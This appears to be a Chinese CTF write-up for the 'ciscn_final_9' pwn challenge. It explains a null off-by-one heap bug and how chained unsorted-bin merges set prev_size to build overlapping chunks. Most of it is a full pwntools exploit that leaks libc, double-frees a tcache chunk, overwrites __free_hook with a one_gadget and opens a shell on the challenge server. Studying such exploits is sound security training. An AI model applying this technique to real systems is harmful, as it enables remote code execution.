ciscn_final_9(null off by one当无法shrink unsorted bin或者控制prev_size时的利用手法)

ciscn_final_9(null off by one当无法shrink unsorted bin或者控制prev_size时的利用手法)

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,safe_read函数存在一个null off by one漏洞

Delete函数里在free之前会清空堆的内容,

申请的堆大小是固定的,属于unsorted bin范围

从上面看,prev_size无法受我们控制,因为堆的大小为0x100,因此prev_size时0x100的整数倍,\x00会截断输入,即使我们先布置\x01,然后delete后再布置\x00也不行,因为delete函数会清空原来的内容。综上看,prev_size不能受我们控制,如果使用shrink unsorted bin size的话,也不行,因为如果shrink unsorted bin的话,要想再次从这个unsorted bin里成功切割内存,其shrink掉的那部分得伪造成一个chunk,但是delete功能会清空我们伪造的数据。并且由于大小都是0x100的整数倍,shrink不了,因此这两种方法都不可行了。

 

那么,我们可以利用堆块的合并。

0x100

0x100

0x100

假设我们连续合并这3个chunk,合并是有顺序的,先合并0、1,这将使得2的prev_size变成0x200,然后合并2,2的prev_size 0x200仍然存在。接下来,我们从中把0切割申请回来,2的prev_size仍然为0x200,然后我们利用null off by one修改1的size低1字节,利用堆块合并构造overlap chunk即可。

#coding:utf8
from pwn import *

#sh = process('./ciscn_final_9')
sh = remote('node3.buuoj.cn',27466)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']

def add(size,content):
   sh.sendlineafter('which command?','1')
   sh.sendlineafter('size',str(size))
   sh.sendlineafter('content',content)

def delete(index):
   sh.sendlineafter('which command?','2')
   sh.sendlineafter('index',str(index))

def show(index):
   sh.sendlineafter('which command?','3')
   sh.sendlineafter('index',str(index))


add(0xF0,'a'*0xF0) #0
add(0xF0,'b'*0xF0) #1
add(0xF0,'c'*0xF0) #2
#3~9
for i in range(7):
   add(0xF0,'d'*0xF0)

for i in range(3,10):
   delete(i)
#0放入unsorted bin
delete(0)
#1放入unsorted bin,此时0、1会合并,在2的prev_size处留下0x200
delete(1)
#2放入unsorted bin,与前面合并,但是prev_size不会清空
delete(2)
#0~6
for i in range(7):
   add(0xF0,'d'*0xF0)

#由于prev_size不能任我们控制,因此,我们使用了这种方式控制9的prev_size为0x200
add(0xF0,'a'*0xF0) #7
add(0xF0,'b'*0xF0) #8
add(0xF0,'c'*0xF0) #9
#到目前,9的prev_size为0x200,接下来,我们利用null off by one构造overlap chunk

#填充tcache bin
for i in range(7):
   delete(i)
#7放入unsorted bin
delete(7)
#0~6
for i in range(7):
   add(0xF0,'d'*0xF0)

delete(8)
add(0xF8,'null off by one') #7
#填充tcache bin
for i in range(7):
   delete(i)
#9放入unsorted bin,发生合并,形成overlap chunk
delete(9)
#0~6
for i in range(7):
   add(0xF0,'d'*0xF0)
#将glibc指针移动到7
add(0xF0,'a') #8
show(7)
sh.recvuntil('> ')
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
one_gadget_addr = libc_base + 0x4f322
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
add(0xF0,'b') #9与7重合
delete(0)
delete(1)
#double free
delete(7)
delete(9)

add(0xF0,p64(free_hook_addr)) #0
add(0xF0,'a') #1
add(0xF0,p64(one_gadget_addr))

#getshell
delete(1)

sh.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章